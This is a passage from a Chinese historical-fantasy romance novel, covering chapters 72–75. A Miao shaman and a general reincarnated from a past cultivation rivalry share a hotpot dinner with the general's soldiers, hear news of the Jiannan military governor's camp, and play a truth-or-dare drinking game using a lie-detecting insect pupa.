当然,因为经脉始终没有接好,他动用不了内力,说是习武,其实也不过舒展筋骨强身健体,练武之事不可一日懈怠,他已经放下快一年了,再捡起来,实在有些生疏。 苗霜懒散地倚在吊脚楼门口,远远看着他,那剑招从滞涩到娴熟,虽然只是一段树枝,挥舞起来却有破风之声。 “你这剑法是跟谁学的?”他看了一会儿,开口问道。 祁雁停止了练剑,扭头向他看来:“我若说是无师自通,夫人相信吗?” 他收了“剑”,上楼梯来到苗霜面前,一番活动,他周身气血都活络起来,胸口微微起伏:“大雍军队多配横刀,剑用得并不多,我父亲不会剑法,军营里也没人会,但我一拿起类似剑的武器,自然而然就会用了,自幼如此,没人能解释是为什么。” 他解释不了是为什么,苗霜却能,因为那剑法他熟悉得不能再熟悉,那正是鸣川师兄,又或者说泊雁仙尊所习之剑。 那是一套他自创的剑法,剑若惊鸿,势如游龙,剑出携风霜之意,四野肃杀,天地变色。 他时常和泊雁仙尊交手,最后那一战更是打了七七四十九天,那剑法的每一招、每一式都刻进脑海,祁雁一抬手他就知道他要出什么招,自己该如何应对,对方又会如何还击,一招还未出,他已算出后面十招。 想必祁雁对他也是如此。 若不是他们灵力魔气都有限,那一战只怕要打到大道崩毁,谁也赢不了谁。 他还记得万魔峰都被那滔天剑意碾为齑粉,所有在附近的魔修或者正道修士,一旦卷入他们的战斗,不论什么境界修为,皆被一剑斩碎。 逃跑不及,就只有死路一条。 祁雁:“身边人都说我是习武奇才,五岁就能自创剑法,可这剑法我练了许多年,却始终没练出什么成果——我根本没办法用剑杀人。” 苗霜愣了一下:“什么?” “我也不知道该怎么说,”祁雁看着那根树枝,“我自己练习,或是找人切磋,都没问题,可我一旦想用剑杀人,脑子里就一片空白,使不出一招,起初我以为只是不适应,想强迫自己克服,可有一次我带着剑去剿灭一伙杀人放火的狄历匪徒,他们功夫并不高,对我而言没什么威胁,可我手里的剑一出鞘,我就感觉整个人都被定住了,狄历人朝我杀来,我却不知道还手。” “好在和我同行的叔叔救了我,不然我恐怕要重伤而回,那时我才十几岁,回到军营就被父亲臭骂了一顿,从那之后,凡是再上阵杀敌,我就弃剑用刀,或是用枪了。” 苗霜:“……” 身为剑修却不能再用剑杀人,何其荒唐。 是因为最后那一剑捅向了他? 他对祁雁的报复似乎有些太过了。 可他若不用那把剑,就没办法不留后患地杀掉自己,而且他那时是真的恨,恶念积攒了一千多年,好不容易找到了宣泄的出口,怎么可能收得住。 “不过也无所谓,”祁雁笑了笑,撇掉那根树枝,“可能我天生不适合用剑吧,剑乃君子器,而兵者诡道也,怎么看也不像是一条路子。” 居然说无所谓…… 苗霜这次彻底信了祁雁之前说过的话,剑修连自己的剑都能为他舍弃,什么天下众生,也不值一提了。 他向前一步,伸手抱住了他。 祁雁微怔:“夫人?” 苗霜却不说话,只把脸埋在他肩头,祁雁刚活动完,身上很暖,让这个拥抱的温度格外让人安心。 原来他自始至终都误会了祁雁。 不论是泊雁仙尊,又或鸣川师兄,还是现在的这个祁将军,本质都没有什么不同,他从没为了苍生而放弃他,他们骨子里都是一样的。 不过也有细微的差别,或许是因为不当仙尊了,不用再端着架子,现在的祁雁情绪更外露些,更像个人。 祁雁回抱住他,两人就这么倚着栏杆,沐浴着夕阳,享受着这山中的安逸与宁静。 许久,他轻声开口:“我一直想问……夫人可也有表字?” “我是苗人,自然没有你们汉人的传统。”苗霜道。 那“落晚”二字,还是不必提了。 该过去的事就让它过去,记忆缺损时,他总执着于那些过往,等到真的想起来了,他又觉得没什么不能放下。 “也对,”祁雁便不再追问,将对方散乱的头发捋到耳后,换了个话题,“离四月初八没几天了,圣子他们还没回来,夫人就一点不着急吗?” “放心,他肯定会回来,这么重要的节日,他若是不及时赶回,那这个圣子也不用当了,我猜也就是这两天吧。” 苗霜说着松开了他:“对了,提到四月八,我有件东西要给你。” “何物?” “你在这等着。” 苗霜回到房间,翻出一张面具来,递给他:“戴上试试。” 这面具十分眼熟,木头刻的,表面涂了一层蓝色的蝴蝶鳞粉,放在阳光下一照,流光溢彩,如梦似幻。 祁雁把面具扣在脸上,将带子系在脑后,面具严丝合缝,尺寸正好。 苗霜:“有了此物,你也可以寨子里随意进出,反正你腿也好了,不妨四处走走,熟悉一下环境,当然,尽量少在人前出现。” “夫人给我这面具,恐怕不仅仅是想放我自由,让我参加你们的节日吧?” 苗霜挑了挑眉:“那是自然,我有件事需要你帮忙。” “夫人尽管吩咐,我务必办妥。” “你都不问问是什么?” “刀山火海也无惧。” “刀山火海却用不着你蹚,你只需要帮我留意一下寨子里的人,看看有没有什么异常。” 祁雁瞬间明白了什么:“你是怕有人在节日上捣乱?” 苗霜点了点头:“若是其他节日,我倒也不必担心,可四月八不同,四月八设立之初,就是为了纪念一位英雄,上古时期,这位英雄带领族人起义,推翻暴政,义军一路高歌猛进,英雄却不幸战死,那日正是四月初八,族人们为了祭奠他,每一年的四月初八都会自发地为他举行祭祀仪式,久而久之,就成为节日流传了下来。” “起义……”祁雁微微皱眉,“那位已死的款首,对我们来说是反叛,但对你们来说,就是起义。” “没错,所以才必须要在四月八到来之前选出新任款首,不然这一天指不定会发生什么事。虽然上任款首的支持者都被我杀得差不多了,四月八现在也只是欢庆节日,但谁都知道它的来历,以防万一,我们还是要小心一些。” 祁雁想了想道:“新任款首也才上任不久……这个节骨眼上,这节日是必须要过吗?” “这是族中流传千年的传统,若是不过,只怕会引起更多人的不满,两害相权取其轻。” 祁雁点头:“我明白了。” “放心,他们就算真的想做什么,也是冲我来,那天我要进行一整套的祭祀仪式,难免顾不过来,你和赵戎他们几个在暗处盯梢,只要别让人干扰到我就行,其他的都不必管。” “哦?”祁雁听了最后这句,不禁一笑,“看来夫人一开始留下他们,就是为了让他们给你干活吧?” “那不然呢?我可不养闲人。” “可夫人为何不找几个信得过的苗民,反而把这种重要的事,交给我们这几个汉人?” “族里的人,我一个也信不过,”苗霜并不避讳地说,“你的几个部下么,我其实也信不过,不过他们既服从于你,你就得替他们担责,他们若是办坏了事……” 他用手指在祁雁心口戳了戳:“我罚的是你。” 第73章 第 73 章 怎么罚?夫人不妨细说。…… 祁雁顺势便捉住了他的手, 放在手心里轻轻摩挲:“罚我?怎么罚?夫人不妨细说。” 苗霜眯了眯眼,手腕一转从他掌中挣脱,指尖顺着心口一路向上划, 经过锁骨,直至挑起他的下巴:“那自然是……” “鸣川兄!鸣川兄——!” 突然响起的声音打断了苗霜还没说完的话, 他嘴角轻轻一抽,脸上的表情肉眼可见地淡了下来。 真是扫兴。 早不回晚不回, 偏偏这个时候回。 赵戎兴冲冲地跑上山来,推开院门就闯进了小院,浑然不知自己搅扰了谁的兴致。 一抬头看到站在吊脚楼门口的两人,暧昧气氛萦绕未散,他瞬间变了脸色,猛地拔出刀来:“你谁!竟敢趁着鸣川兄不在调戏他的夫人!” 祁雁:“……” 不光被搅扰雅兴还被当成外来者的祁将军几乎有种把这个家伙从哪来扔回哪去的冲动,好悬才忍住了,摘下脸上的面具,冷冷看着他。 “啊……是、是将军您啊, 哈哈……”赵戎尴尬地挠了挠头,赶紧收起刀, 装作很忙地左顾右盼,“您也真是的,在家里戴什么面具……” “只是试戴了一下,也没想到会有人闯进来。”祁雁不咸不淡地说。 “抱歉抱歉,是我太急着见您了,”赵戎赶紧认错, “我刚刚竟把您认成了某个以前见过的人,可现在再想,竟也记不起究竟认成谁了, 夫人这东西还真是神奇。” 苗霜笑意森然:“拍马屁也没用。” 这时,姜茂背着向久也进了小院,向久一看到苗霜,立刻挣扎着跳下地来,一瘸一拐地跑上楼扑进他怀里,号啕大哭:“阿那!” 姜茂:“……” 赵戎:“……” 都说小孩翻脸比翻书还快,却也太夸张了,小医仙在医馆坐诊时始终伪装得像个小大人似的,终于还是憋不住满肚子的委屈,一见苗霜就眼泪决堤,好像要把过去一个月强忍的眼泪全哭出来。 几个军营里出来的家伙谁也不知道该怎么哄小孩,你看看我我看看你,皆是束手无策,只能装作若无其事地抬头望天。 苗霜蹲在地上,轻轻拍着向久的后背,放缓了声音:“怎么了这么委屈,他们欺负你了?” 赵戎竖起三根手指对天发誓:“苍天可鉴!绝对没有!” 向久抽抽搭搭,哭得上气不接下气,许久才红着眼睛说:“我……被马颠了一路,屁股都磨破了!呜呜……” 姜茂看着正找家长告状的可怜小孩,觉得有必要为自己澄清一下:“我们本来觉得时间还充裕,返程打算慢行,可圣子说离四月初八已经没几天了,他要早点回寨子做准备,我们只好催马疾奔……自然颠簸了些。” 苗霜眉尾一扬:“就因为这个?” “什么叫‘就’!”向久才有点忍住的眼泪又哗一下涌了出来,“阿那坏人!把我派去那么远的地方让我给汉人治病,我屁股磨破了都不心疼我!” “……好好好,心疼你心疼你,”苗霜无奈,牵着对方的手起身,“过来我给你看看。” 他带着向久回了房间,祁雁走下楼梯,来到院中,四下环顾,却感觉少了点什么,皱眉道:“孟叔呢?” 赵戎姜茂和圣子都回来了,却不见孟永良。 老孟本来年纪就不小了,一路奔波远赴大疫之地,去了却没回来,没法让人不多想。 他心里甚至做好了最坏的打算,却听赵戎道:“将军别担心,老孟没事,他去益州大营了。” “益州大营?”祁雁一顿,“去那里做什么?” 益州是剑南道最大的州,人口众多,节度使府就设立在此处。 “是这样,前些日子我们任务完成得差不多,本来都准备返程了,没想到那位剑南道节度使突然找上我们,问我们能不能去一趟军营,给他手下病重的士兵们治病。” 祁雁:“你们见到了那位节度使本人?” “可不是吗,他亲自来的呢!他说本想把那些人送过来,可又怕一路奔波病情加重,死在路上,便来请我们去军营出诊。” 祁雁皱了皱眉:“疫病竟已传到了益州……” 赵戎:“说的就是,我们得知以后也吓了一跳,益州多少人口,那疫病要是爆发起来,不得了啊!那位节度使说,还好我们的药方传到了周边各州县,那些病情不太严重的,服过药后都有很大好转,疫病及时控制住了,只是病重的人一时半会儿却好不起来,他看在眼里急在心里,所以亲自来请人。” “那你们怎么回的?” “当然是答应了啊!您让我们卖他一个人情,还有什么比这更能卖人情的,绝佳的机会这不就来了!” 赵戎激动得眉飞色舞:“我们赶紧收拾东西准备去益州大营,不过……圣子却说他不想去,我们一想觉得也对,军营那种地方,确实不适合小孩去,反正这段时间老孟也学会了煎那药的方法,我们就分头行动,姜茂和老孟一起去了军营,我留下来保护圣子,留在普州继续给那些病人看病。” 祁雁对这个分工表示认可,不用问,这肯定是姜茂的主意。 姜茂适时地接话道:“我和老孟到了军营以后,节度使主动提供了药材,老孟就着手给他们治病,大巫给的虫子繁殖得很快,虽然总共只有那么几罐,却怎么用也不见少。” “这期间,我在军营里四处走了走,发现果然如将军所说,益州营的实际人数远超明面上的人数,一些士兵很显然就是今年新招的,他们说,他们本是来剑南逃难的流民,走投无路,看到官府发布的募兵令,就来碰碰运气,没想到真的进了兵营,训练虽辛苦,却能吃饱穿暖,还有军饷能救济家人,他们也知足了。” “我观军营里气氛不错,那些人虽病重,却并不消沉,发烧说胡话都吵着要喝酒吃暖锅,老孟给他们治了两天,他们迅速好转起来,节度使很是高兴,拿出陈酿请我们,还有他们当地特有的辣味暖锅。” 赵戎在旁边听得直流口水:“辣暖锅到底什么味儿啊?好不好吃?真是后悔,怎么就让你去了呢,你也真不够意思,都不说带点回来给我尝尝。” “……路那么远,怎么带?”姜茂瞥他一眼,“你都问了三四次了,这茬能不能过去?” 赵戎一撇嘴,不说话了,姜茂继续道:“饭桌上,我们都喝了酒,节度使有些醉了,跟我们说了很多,还提到了将军您。” 祁雁:“我?” 姜茂点点头:“他说祁将军确乎人中之龙,之前您去剑南调兵,他给了您两万人,本以为定要损失惨重,没想到回来以后清点人数,只有那么几百伤亡。” “参战的士兵们回来以后连吹了三天三夜,说苗民彪悍,没想到将军您比那些苗民更猛,直杀入寨中取了那款首首级,款首一死,人心大乱,他们乘胜追击,一直追到了南照边境,杀了南照军队一个措手不及,以少碰多,竟让对方抱头鼠窜,宰了两个将领,歼近万人,杀得那叫一个痛快。” 祁雁抿了抿唇,这些早都已经是过去的事了,很难说没有夸大其词的成分,再怎么吹嘘他,他也不想再听:“然后呢?” “节度使说,他以前还不大看得起您,觉得说您以一敌千都是吹出来的,这回他才是真的信了,可惜天妒英才,狗皇帝昏庸无能,滥杀无辜,忠臣良将受尽其害,这样下去,迟早有一天火会烧到他头上,他要早作准备。” “他觉得我们肯深入疫区治疫,舍生忘死,料定我们不是坏人,和我们聊得也算投机,不怕跟我们透露这些,反正狗皇帝要是敢对他下手,他抄起家伙就是干,管他是输是赢,先打了再说。” “这人的脾气当真火爆,和我们吃一顿饭,所有看不顺眼的都成了龟儿子,老季家的先人板板都要被日穿了,将军,你只是说他性情豪爽,未免也太保守了。” 祁雁:“……” “再之后,老孟就借机留在了军营,给他们当个军医,节度使还叫我也留下来,我怕真答应了反而暴露我们的目的,弄巧成拙,便说自己还有要事在身,离开了益州,回去找赵戎他们汇合。” 祁雁对他的处理方式没有意见,剑南节度使虽然看上去率直火爆,实则胆大心细,让孟永良留下已经足够,没必要冒进。 “你们都做得不错,”他道,“庆祝你们回来,今晚给你们设庆功宴。” “庆功宴?好啊!”赵戎举双手双脚支持,“这苗寨有暖锅吃吗?我想吃暖锅!” “……什么天气你吃暖锅?” “和天气有什么关系,冬天吃,夏天也要吃,更何况这还没到夏天呢。” “区区暖锅算什么,到了四月八那天,你们能吃上更好的。”苗霜从屋里出来,开口道。 “四月八……圣子说四月八,大巫也说四月八,这四月八到底是什么日子?”赵戎不解地问。 苗霜才懒得再说一遍,他看了看祁雁,祁雁只好把从他那听到的话再跟赵戎他们转述一遍。 赵戎听完,拿起挂在腰间的面具,恍然大悟:“意思是,给我们这玩意,是要让我们干活?” “难不成白给你们?”苗霜抱着胳膊,“不过,我明明给出去三张面具,现在却只回来了两个人,少的这一份怎么解决,将军,你说呢?” 祁雁想了想道:“不如……我今夜补偿夫人可好?” “怎么补偿?” “那由夫人定。” 苗霜招了招手,示意他附耳过来。 赵戎也招了招手,示意姜茂附耳过来,压低声音道:“我说,我怎么感觉咱俩……咱仨,还有老孟,成了他们取乐的一环呢?” “不用感觉,”姜茂淡定地说,“就是。” 第74章 第 74 章 将军你是不是对夫人爱得…… “唉, ”赵戎深深叹气,“以前在军营的时候,将军也不这样啊, 真想不到将军成亲以后居然……一口一个夫人,啧啧。” “你羡慕了?” “那怎么能叫羡慕呢?” “那就是嫉妒。” “你这人, 到底会不会说话?” “我是实话实说,”姜茂的语气没有一丝波澜, “羡慕就早点成家,自己找个夫人。” “你快拉倒吧,咱们这种人,脑袋挂在裤腰上,指不定哪天就死了,若真娶了夫人,难道让夫人守寡?” “那你就找个同类,大家都指不定哪天会死,谁也别嫌弃谁。” “同类?你啊?”赵戎扭头看他, 摸了摸下巴,“别说, 也还不错,虽然你是个男的,但我不挑。” “……”姜茂成功被他恶心到了,用刀柄把他拨到一边,“滚。” “哎,你别走啊!” 两人一前一后地走远了, 苗霜结束了耳语,问祁雁道:“我的主意怎么样,将军敢不敢接?” “有何不敢?不过夫人这意思, 是同意我喝酒了?” “反正你也不喝药了,今天就让你破一次例。” 祁雁不禁微笑起来:“那我提前谢过夫人。” 苗霜挑了挑眉,心说谢未免太早,别等下追悔莫及。 “阿那,”向久也从屋里出来了,他揉着自己的屁股,刚才被苗霜一番医治,已经不怎么疼了,“你们在聊什么?我刚刚听到‘暖锅’,去普州一个月都没吃了,我也想吃。” “圣子是此行最大的功臣,既然圣子想吃,那我们就吃。” 向久笑逐颜开,瞬间把所有的不愉快都忘了:“谢谢阿那!” 苗霜让明秋去吩咐了厨子,傍晚时分,一道酸汤鱼暖锅端到了院子里的石桌上。 暖锅下的小炉煨着火,香气立刻吸引了赵戎的注意,他凑上前来,惊喜道:“居然真的有?” “给你们尝尝我们苗寨的暖锅,不输那蜀地之味,”苗霜取来两坛酒,放在桌上,“还有这酒,我请你们。” 向久兴高采烈地蹿上椅子:“阿那我也要!” 赵戎看向他:“小孩也能喝酒?” 向久把嘴一撇:“看不起谁呢!” “我们苗人自幼喝酒,家家户户都会酿酒,”苗霜将那酒倒在碗中,“今年新酿的糯米酒,尝尝看。” 那酒色泽微浊,比乳白略清,赵戎当即端起一碗,喝了一大口:“哇,这酒好甜啊!” 望着这一桌酒菜,他赞不绝口:“这大概就是那什么什么酒……什么什么炉?” “……绿蚁新醅酒,红泥小火炉,”姜茂挨着他坐下,“没读过几本圣贤书,就别在这里掉书袋,丢人。” “嘿你这人……” 祁雁和苗霜坐在了他们对面,一张圆桌容下他们五个人,热热闹闹,诱人的红酸汤在锅里翻滚,雪白的鱼肉浮浮沉沉。 苗霜取了小碗,从锅里舀了一勺汤:“吃前先喝汤。” 他把那碗汤递给了向久,赵戎也有样学样,给自己舀了碗汤喝,冒着热气的酸汤入喉,烫得他直吐舌头:“好辣,好酸!好爽!” 姜茂也尝了口,苗霜问:“比起你们在益州吃的,如何?” 姜茂点头:“毫不逊色,更胜一筹。” “虽然没尝到蜀地的暖锅,不过这苗寨的也不错嘛,”赵戎感觉自己这一趟南下之行算是值了,“以前却不知道,这暖锅还能用来煮鱼。” 锅上架着一碗蘸水,向久直接站在了石凳上,伸出胳膊夹了块鱼肉,蘸一点蘸水:“还是家里的饭最香。” “要论吃辣,黔地才是鼻祖,而你竟去蜀地找。”苗霜道。 “真的?”赵戎一个北方人,对这些知之甚少,他冲苗霜抱拳,“我先谢过大巫款待!” 几人吃着这鲜辣味美的酸汤鱼,过了一会儿,赵戎忽然想起什么:“对了,我们在普州时,遇到一个道士,自称景行,他说他以前见过将军和夫人,这事是真是假?” “景行?”祁雁筷尖一顿,“他去普州了?” “你们还真认识啊?”赵戎不禁有些后怕,“还好我们把人救了,不然的话,不得后悔死?” “他怎么了?” 赵戎把在普州遇到景行的事跟他们说了,苗霜道:“他还真会给自己添麻烦,他只是个道士,又不会行医治病,上赶着去送死,就算你们没救下他,那也是他自讨苦吃。” “话虽这么说,可济世度人的确是那些道士的作风,既然一心向道,自不畏前路艰险,将生死置之度外,便是龙潭虎穴也闯得。”祁雁道。 苗霜:“哈?” 真不愧是愿意以身祭道的鸣川师兄能说出来的话,他轻哼了声:“我看将军倒是和那道士很投缘,不如去投奔景行,跟着他修道得了。” “我杀孽太重,只怕道祖不收。” “若是收,你就真去了?” “那夫人也得同我一起。” “……” 赵戎看看这个,又看看那个:“呃……” 他要不还是不说话了吧。 他和姜茂完全插不进那两人的拌嘴,只好闷头吃饭。 过了好一会儿,对面才算吵好了,苗霜又开了一坛酒:“只是吃饭却也没意思,不如按你们汉人的玩法,来猜拳如何?” “猜拳?苗寨也玩这个吗?”赵戎撸起袖子就要开干,“好啊!吟诗作赋我不会,论猜拳,我可是不会输的!” 姜茂:“知道你在军营里没干正事了,逮着机会就去喝酒划拳。” “你懂什么,这叫苦中作乐,”赵戎得意洋洋道,“怎么样,输了就喝?将军今日能喝酒,我非灌死他不可。” 苗霜:“先别着急,光是喝酒也没新意,我还有更有趣的玩法。” “怎么说?” “输了的人除了选择喝酒,还可以选择回答问题,或是做一件事,问题和事情都由赢者指定,若是选问题,必须如实作答,这叫‘肝胆相照’,若是选做事,必须完成,这叫‘浑身是胆’。” “这个好!”赵戎拍手叫好,“不过,什么问题,什么事情都行吗?” “自然不可太过火,比如让人砍下季渊的项上人头,这可是做不到的。” “那怎么确定他说的是实话?” 苗霜不紧不慢地拿出一只蛊虫:“此物名为‘真言蛊’,是一种虫子的蛹。” 他说着将虫蛹放在手心,那蛹竟自己立了起来:“这蛹通常情况下都是立着,若是检测到人说谎,脉搏加快,它就会立刻躺倒。” “比如——”他做出演示,“季渊是个好皇帝。” 立着的虫蛹晃了一下,在他手中躺倒。 “这也太神奇了!”赵戎瞪大双眼,摩拳擦掌,跃跃欲试。 “输了的人若是选了回答问题却撒谎,则惩罚加倍,需连喝三碗,若是选择做事却退缩,也要连喝三碗,”苗霜笑吟吟道,“怎么样,诸位敢不敢一试?我这里酒管够,我这米酒看似不醉人,后劲却大,若是不想喝醉了出丑,还需实话实说。” “不算圣子,我们两两一组,随意选择对手,但必须一对一,且不能与上一轮重复,”苗霜的视线在他们脸上扫了一圈,“谁先来?” “我来!”赵戎自告奋勇,“夫人,得罪了!” 祁雁看向苗霜,刚刚苗霜说要在酒桌上玩个游戏,却没说是什么,问他敢不敢应,他自然答应了,但没想到苗霜会选划拳。 天已经完全黑了,月色打在他身上,即便是划拳也显得优雅从容。 走神的功夫,那边已经结束了战斗,果不其然苗霜输了,又或是故意放水,赵戎兴奋得两眼放光:“快选,快选!” 苗霜丝毫不慌:“我选‘肝胆相照’。” 他将虫蛹拿起来立在手心:“问吧。” 第一个问题,赵戎不敢问得太过,斟酌了一会儿:“那我就问……夫人今年多大年纪?” “按照你们汉人的说法,弱冠之年,若是过了苗年,那就是二十一。” 虫蛹稳稳立在掌心,没有丝毫变化。 姜茂正在捞锅里的鱼吃,抬头看了赵戎一眼:“你这问题,是故意送吗?” “哎呀,这不是才刚开始,放不开吗。” 姜茂放下筷子,转向祁雁:“将军,咱俩来。” 划拳的游戏军营里经常玩,大家都是熟手了,这回是祁雁赢了,姜茂果断端起酒碗:“我选喝酒。” 赵戎不满道:“不是,你还说我呢,你这人真没意思!” 游戏很快经过几轮,众人各自有输有赢,渐渐进入了状态,这一把又是赵戎赢了,祁雁想了想道:“肝胆相照。” “好啊!将军敢选肝胆相照,”姜茂露出一个不怀好意的笑容,就在这等着他了,“那我就问——将军上一次和夫人咳咳!是在什么时候?” 谁都懂这个“咳咳”是什么,祁雁咳嗽一声,有些不自在地别过脸去:“……昨夜。” “好哇!”向久突然从凳子上跳了起来,“阿那你坏蛋!把我派出去治疫病,自己却和他在家里逍遥快活!我生气了!我要把你的鱼都吃掉!” 苗霜丝毫不为所动:“吃就吃呗,不够再给你加两条。” 向久狠狠扭过小脸:“哼!” 游戏继续,这回轮到苗霜赢了,姜茂选了浑身是胆,苗霜道:“把腰带解了再扎上。” 姜茂:“……” 这个要求对普通人来说完全没有难度,然而姜茂只有一只胳膊。 “哈哈哈哈!”赵戎笑得直捶他肩膀,丝毫不因为他是个残疾人而怜惜他,幸灾乐祸,“你小子也有今天!” 姜茂沉默半晌,单手解开了腰带,又尝试单手系回去,平常就难做到,今天喝了酒,更是怎么也系不上,终于他放弃了:“我喝酒。” 他连喝三大碗,感觉有点眼冒金星了,最后还是赵戎帮他系上了腰带。 再玩过一轮,赵戎迫不及待地选了祁雁当对手,酒意正酣,他一条腿踩在石凳上,借着月色跟对方划拳:“两相好啊!五魁首啊!七巧会啊!将军你又输了——!” 祁雁想不明白自己怎么能接连输给他,只能归咎于自己的运气有亿点差,他故作淡定,不信邪道:“肝胆相照。” “我来问!”赵戎已经喝多了,酒劲上头,踩着石凳的那条腿一用力,整个人直接站了上去,扯着嗓子喊道,“将军你是不是对夫人爱得死!去!活!来!” 第75章 第 75 章 情蛊的情是情趣的情 这话一出口, 所有人的视线齐刷刷向他投来,连闷头吃饭的向久都惊呆了。 “你们看我干啥?”赵戎站在凳子上摇摇晃晃,好像一不留神就会栽下来, “将军,快回答问题啊!” 祁雁下意识地看向苗霜, 喉结滚动了一下:“我……没……” 才刚说了一个“没”字,掌心的虫蛹就是一晃, 干脆利落地躺倒了。 祁雁:“……” “哈哈哈!将军你撒谎了!”赵戎激动地从石凳上跳了下来,抄起酒坛猛猛倒了三大碗酒,放在祁雁面前,“喝!” 祁雁的表情相当精彩。 什么东西,他爱苗霜爱得死去活来?? 开什么玩笑。 他看着掌心嚣张躺平的虫蛹,合理怀疑这东西是受苗霜控制的,世上真的有一种虫子能测谎吗?怕不是苗霜想让它躺就躺,想让它立就立。 见他半天不动,赵戎开始耍酒疯了:“将军, 你怎么还不喝啊?男子汉大丈夫,敢做不敢当!你天天夫人长、夫人短, 那眼睛恨不得长到夫人身上去了,我们哥几个看在眼里,记在心里,你居然还不承认——是不是啊,小姜?老孟!” 明明年纪比他大却被他喊“小姜”的姜茂不想理他,远在益州的老孟想理也没法理他。 一旁的向久张大了嘴巴, 稚嫩的小脸上写满了难以置信。 祁雁感觉到苗霜的注视正停在自己身上,他要是解释,只怕会越描越黑, 干脆什么都不说了,端起酒碗,将满满一碗米酒一饮而尽。 “好!”赵戎在旁边拍手叫好,还添油加醋地给他配音,“我,祁雁!为自己的不坦诚感到深刻忏悔!自罚三碗,这是第一碗——” 祁雁端起第二碗酒。 赵戎:“这是第二碗!我祁雁对夫人情之深意之切,苍天可鉴,日月为证!我对夫人爱得死心塌地、死去活来、死灰复燃、死而后已!” 姜茂赶紧推了他一把:“瞎说八道什么呢!” 祁雁端起第三碗酒。 赵戎:“第三碗!我祁雁,要和夫人苗霜厮守终生,愿得一人心,白首不相离!好!鼓掌!” 他自己把巴掌拍得震天响,一扭头,却发现根本没人应和:“你们怎么不鼓掌啊?” 姜茂用看神经病的眼神看他。 向久则从凳子上跳了下来:“那个,我吃好了,要回去睡觉了,你们继续!” 说完,头也不回地跑路了。 祁雁连干三碗酒,感觉自己开始发飘了,他完全不敢去看苗霜的脸,满脑子都是“爱得死去活来”。 或许是酒劲上头,即便是他也要自我怀疑了,那真言蛊验出来的该不会真是真的吧,他真对苗霜爱得死去活来不成? 他忍不住摸了摸喉结边的小痣。 可这情蛊,并没变红啊…… 正犯嘀咕间,苗霜已经和姜茂结束了这一轮的划拳,苗霜遗憾败北:“我选浑身是胆。” 姜茂的眼睛顿时亮了,正等着报那解腰带之仇,他清清嗓子:“那就请夫人亲将军一口。” “哈?”最先有反应的竟是赵戎,他扒着对方的肩膀,“你小子,深藏不露!不鸣则已,一鸣惊人!” 姜茂忍不住往后躲:“一身酒气,离我远点。” “只亲一口?”苗霜直接来了个反客为主,似笑非笑道,“这有什么难的,下次记得换个有挑战性的要求。” 说罢,他端起酒碗含了一口酒,扳过祁雁的脸就覆上唇去。 赵戎在旁边激动得直嚷嚷:“哦哦哦哦——!!” 祁雁还没反应过来是怎么回事,一口酒已经强行渡进嘴里,米酒清冽甘甜,无比顺畅地滚过喉间,咕咚一声咽了下去。 而后他才尝到随酒一道探入的灵活的舌,深吻犹如掠夺一般长驱直入,让人无法抵抗。 苗霜的味道似乎比那酒还甜,比酒更能醉人,甚至不需要什么技巧,只是这般随意地贴上来,舌尖轻轻他在唇齿间扫一扫,就能勾得人神魂颠倒,仿佛喝醉了般。 祁雁感觉自己已经醉了。 不然他怎么能忘了身边还有人看着,两双眼睛直勾勾地盯着他,他却肆无忌惮地在这里和苗霜接吻,周遭的一切都变得不重要,吵闹声入不了他的耳,闲杂人等进不了他的眼,世界里仿佛只剩下苗霜,和苗霜的吻。 细细密密的啃咬落在唇瓣上,带着些微酒气的呼吸彼此交融,缠绵萦绕,纠葛不休。 祁雁下意识地扣住他的腰,几乎有些难以自制,险些就顺着这前奏一路进行下去,直到怀中一冷,苗霜将自己抽离出去:“说好的只亲一下。” 祁雁骤然惊醒,这才想起自己还坐在饭桌上,颇有些局促地偏过头去,用喝酒掩饰自己的尴尬。 他都在干些什么…… 居然当着部下的面和苗霜接吻,他可真是喝多了。 姜茂露出一个敬佩的眼神,感觉将军没在人前展露过的一面全被大巫开发出来了,也不知道是该说大巫太厉害,还是将军陷得太深。 饭已经吃得差不多了,但酒还有不少,几人继续喝酒划拳,苗霜赢了赵戎一次,赵戎酒壮怂人胆,选了浑身是胆。 选完了,又后悔,双手合十乞求道:“大巫手下留情啊!” 苗霜:“蛙跳三十个。” 赵戎一声惨叫:“啊!!” 自己作的死哭着也要作完,他哭丧着脸到旁边找了一块空地,双手背在身后开始跳:“一,二……” 他喝了一肚子酒,没跳几下,就感觉胃都要颠出来了,一屁股坐在地上:“我不行了,我喝酒!” 也不知道颠吐和再喝点哪个更痛苦,姜茂全无同情心地看了他一眼,端起酒碗:“我也喝酒。” 祁雁:“……” 好不容易赢了一次,居然不给他报仇的机会。 赵戎又灌了三大碗,感觉酒已经灌到嗓子眼了,噎得他只打酒嗝,他拉过好兄弟的手:“不行了,我不跟他俩玩了,咱俩来。” 苗霜看向祁雁,伸出手:“来吧,将军。” 祁雁本来已经放弃了挣扎,却没想到只喊了一个数,竟直接赢了,他有点惊讶,又有点期待地看着对方,等待他做出选择。 苗霜抓起虫蛹:“肝胆相照。” 祁雁的心脏不禁快跳了两下,苗霜居然选肝胆相照,这绝佳的机会,失不再来。 他斟酌良久,精挑细选,问了一个自己当下最关心的问题,压低了声音:“你给我种的情蛊,究竟什么情况下才会变红?” “这个问题啊……”苗霜好像并不意外,他拎起酒坛倒了三碗酒,端着酒碗冲他示意,“我喝酒。” 祁雁:“……” 居然拒绝回答! 他不禁有些咬牙切齿,怀疑某人是故意定的这个规则,这一晚上苗霜虽然输赢参半,可每次被问的问题都能答得上来,被要求做的事也都能完成,玩到现在还没怎么被罚酒。 这些苗人自幼饮酒,酒量不可能差,现在喝上三碗对他来说也没什么影响。 分明就是在投机取巧! 祁雁沉着脸色扭过头去,自顾自闷了一口酒。 这时,旁边的叫喊声才停下来,赵戎大抵是喝高了,常胜将军也开始连败,姜茂毫不手软:“转圈三十个。” “啊?!”赵戎一声哀嚎,“你个叛徒!我相信你才和你玩的!” “少废话,快转。” 赵戎带着被好兄弟背刺的怨愤和绝望去一边转圈,圈是转完了,人也晕菜了,他指着不停旋转的夜空:“今晚……好多星星啊,这太阳……怎么还有两个,呕——!” 他急忙捂住自己的嘴,踉踉跄跄地往前走:“不行了,我要去茅厕……呕!姜茂你给我等着!呕——” 明秋很有眼力价地跟了上去,苗霜熄灭了炉子里的火,锅里的鱼和菜都已经被捞干净了,酒也喝得七七八八。 “不如今天就到这吧,”他站起身来,“姜茂,等下你扶赵戎回去,还住你们上次住过的那间屋子,我让明秋给你们烧些热水,你们简单收拾一下。” 姜茂点点头:“交给我吧。” 